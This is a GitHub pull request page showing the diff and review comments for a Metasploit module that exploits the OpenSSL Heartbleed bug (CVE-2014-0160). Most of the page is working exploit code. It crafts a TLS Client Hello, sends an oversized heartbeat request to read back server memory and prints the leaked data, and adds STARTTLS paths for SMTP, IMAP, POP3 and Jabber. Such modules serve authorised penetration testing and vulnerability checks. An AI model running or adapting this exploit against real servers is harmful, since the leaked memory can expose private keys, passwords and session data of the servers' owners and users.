New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Complete @Firefart's OpenSSL Heartbleed attack #3206

Merged
merged 16 commits into from Apr 9, 2014
@@ -67,7 +67,18 @@ class Metasploit3 < Msf::Auxiliary
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
TLS_VERSION = 0x0302 # TLS 1.1
TLS_VERSION = {
'1.0' => 0x0301,
'1.1' => 0x0302,
'1.2' => 0x0303
}
TTLS_CALLBACKS = {
'SMTP' => :tls_smtp,
'IMAP' => :tls_imap,
'JABBER' => :tls_jabber,
'POP3' => :tls_pop3
}
def initialize
super(
@@ -78,27 +89,34 @@ def initialize
memory data in the response.
},
'Author' => [

This comment has been minimized.

@Meatballs1

Meatballs1 Apr 8, 2014

Contributor

Neel Mehta #Google Security
Riku, Antti and Matti #Codenomicon

@Meatballs1

Meatballs1 Apr 8, 2014

Contributor

Neel Mehta #Google Security
Riku, Antti and Matti #Codenomicon

This comment has been minimized.

@jvazquez-r7

jvazquez-r7 Apr 8, 2014

Contributor

Thanks @Meatballs1 , adding!

@jvazquez-r7

jvazquez-r7 Apr 8, 2014

Contributor

Thanks @Meatballs1 , adding!

'Jared Stafford <jspenguin[at]jspenguin.org', # Original Proof of Concept. This module is based on it.
'Neel Mehta', # Vulnerability discovery
'Riku', # Vulnerability discovery
'Antti', # Vulnerability discovery
'Matti', # Vulnerability discovery
'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
'FiloSottile', # PoC site and tool
'Christian Mehlmauer <FireFart[at]gmail.com', # Msf module
'Christian Mehlmauer <FireFart[at]gmail.com>', # Msf module
'juan vazquez', #Msf module
'wvu' # Msf module
],
'References' =>
[
'CVE', '2014-0160',
'URL', 'http://heartbleed.com/',
'URL', 'https://github.com/FiloSottile/Heartbleed',
'URL', 'https://gist.github.com/takeshixx/10107280',
'URL', 'http://filippo.io/Heartbleed/'
['CVE', '2014-0160'],
['US-CERT-VU', '720951'],
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
['URL', 'http://heartbleed.com/'],
['URL', 'https://github.com/FiloSottile/Heartbleed'],
['URL', 'https://gist.github.com/takeshixx/10107280'],
['URL', 'http://filippo.io/Heartbleed/']
],
'License' => MSF_LICENSE,
)
register_options(
[
Opt::RPORT(443),

This comment has been minimized.

@Meatballs1

Meatballs1 Apr 8, 2014

Contributor

Would this module work against other SSL services, SMTP etc? The default port can stay the same even so, but maybe a note in description if so?

@Meatballs1

Meatballs1 Apr 8, 2014

Contributor

Would this module work against other SSL services, SMTP etc? The default port can stay the same even so, but maybe a note in description if so?

This comment has been minimized.

@FireFart
@FireFart

FireFart Apr 8, 2014

Contributor
OptEnum.new('PROTOCOL', [true, 'Protocol to use with SSL', 'WEB', [ 'WEB', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]])
OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]),
OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.1', ['1.0', '1.1', '1.2']])
], self.class)
end
@@ -109,9 +127,10 @@ def peer
def tls_smtp
# https://tools.ietf.org/html/rfc3207
sock.get_once
sock.put("EHLO #{rand_text_alpha(10)}\n")
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n")
res = sock.get_once
unless res and res =~ /STARTTLS/i
unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\n")
@@ -123,7 +142,7 @@ def tls_imap
sock.get_once
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once
unless res and res =~ /STARTTLS/i
unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
@@ -135,12 +154,12 @@ def tls_pop3
sock.get_once
sock.put("CAPA\r\n")
res = sock.get_once
if !res or res =~ /^-/
if res.nil? || res =~ /^-/
return nil
end
sock.put("STLS\r\n")
res = sock.get_once
if !res or res =~ /^-/
if res.nil? || res =~ /^-/
return nil
end
end
@@ -155,7 +174,7 @@ def tls_jabber
sock.put(msg)
res = sock.get_once
return nil if res.nil? # SSL not supported
return nil if res =~ /stream:error/ or res !~ /starttls/i
return nil if res =~ /stream:error/ || res !~ /starttls/i
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
sock.put(msg)
sock.get_once
@@ -164,56 +183,30 @@ def tls_jabber
def run_host(ip)
connect
case datastore['PROTOCOL']
when "WEB"
# no STARTTLS needed
when "SMTP"
print_status("Trying to start SSL via SMTP")
res = tls_smtp
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
when "IMAP"
print_status("Trying to start SSL via IMAP")
res = tls_imap
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
when "JABBER"
print_status("Trying to start SSL via JABBER")
res = tls_jabber
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
when "POP3"
print_status("Trying to start SSL via POP3")
res = tls_pop3
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
else
print_error("Unknown protocol #{datastore['PROTOCOL']}")
unless datastore['STARTTLS'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return
end
end
print_status("#{peer} - Sending Client Hello...")
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
print_error("#{peer} - Server Hello Not Found")
vprint_error("#{peer} - Server Hello Not Found")
return
end
print_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat)
vprint_status("#{peer} - Sending Heartbeat...")
heartbeat_length = 16384
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5)
if hdr.blank?
print_error("#{peer} - No Heartbeat response...")
vprint_error("#{peer} - No Heartbeat response...")
return
end
@@ -222,64 +215,63 @@ def run_host(ip)
version = unpacked[1] # must match the type from client_hello
len = unpacked[2]
unless type == HEARTBEAT_RECORD_TYPE and version == TLS_VERSION
print_error("#{peer} - Unexpected Heartbeat response'")
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response'")
disconnect
return
end
print_status("#{peer} - Heartbeat response, checking if there is data leaked...")
heartbeat_data = sock.get_once(16384) # Read the magic length...
if heartbeat_data and heartbeat_data.length > len
print_status("#{peer} - Heartbeat response with leak...")
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
if heartbeat_data && heartbeat_data.length > len
print_good("#{peer} - Heartbeat response with leak")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully leaked info"
})
print_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
else
print_error("#{peer} - Looks like there isn't leaked information...")
vprint_error("#{peer} - Looks like there isn't leaked information...")
end
end
def heartbeat
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << "\x40\x00" # Payload Length: 16384
payload << [length].pack("n")
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
def client_hello
data = "\x01" # Handshake Type: Client Hello (1)
data << "\x00\x00\xd8" # Length: 216
data << "\x03\x02" # Version TLS 1.1
data << Rex::Text.rand_text(32) # Random
data << "\x00" # Session ID length
data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
data << CIPHER_SUITES.pack("n*") # Cipher Suites
data << "\x01" # Compression methods length (1)
data << "\x00" # Compression methods: null
data << "\x00\x49" # Extensions length (73)
data << "\x00\x0b" # Extension type (ec_point_formats)
data << "\x00\x04" # Extension length
data << "\x03\x00\x01\x02" # Extension data
data << "\x00\x0a" # Extension type (elliptic curves)
data << "\x00\x34" # Extension length
data << "\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11" # Extension data
data << "\x00\x23" # Extension type (Sessionticket TLS)
data << "\x00\x00" # Extension length
data << "\x00\x0f" # Extension type (Heartbeat)
data << "\x00\x01" # Extension length
data << "\x01" # Extension data
hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
hello_data << "\x53\x43\x5b\x90" # Random generation Time (Apr 8, 2014 04:14:40.000000000)
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack("n")
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION, data.length].pack('Cnn')
record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
record << data
end
end
ProTip! Use n and p to navigate between commits in a pull request.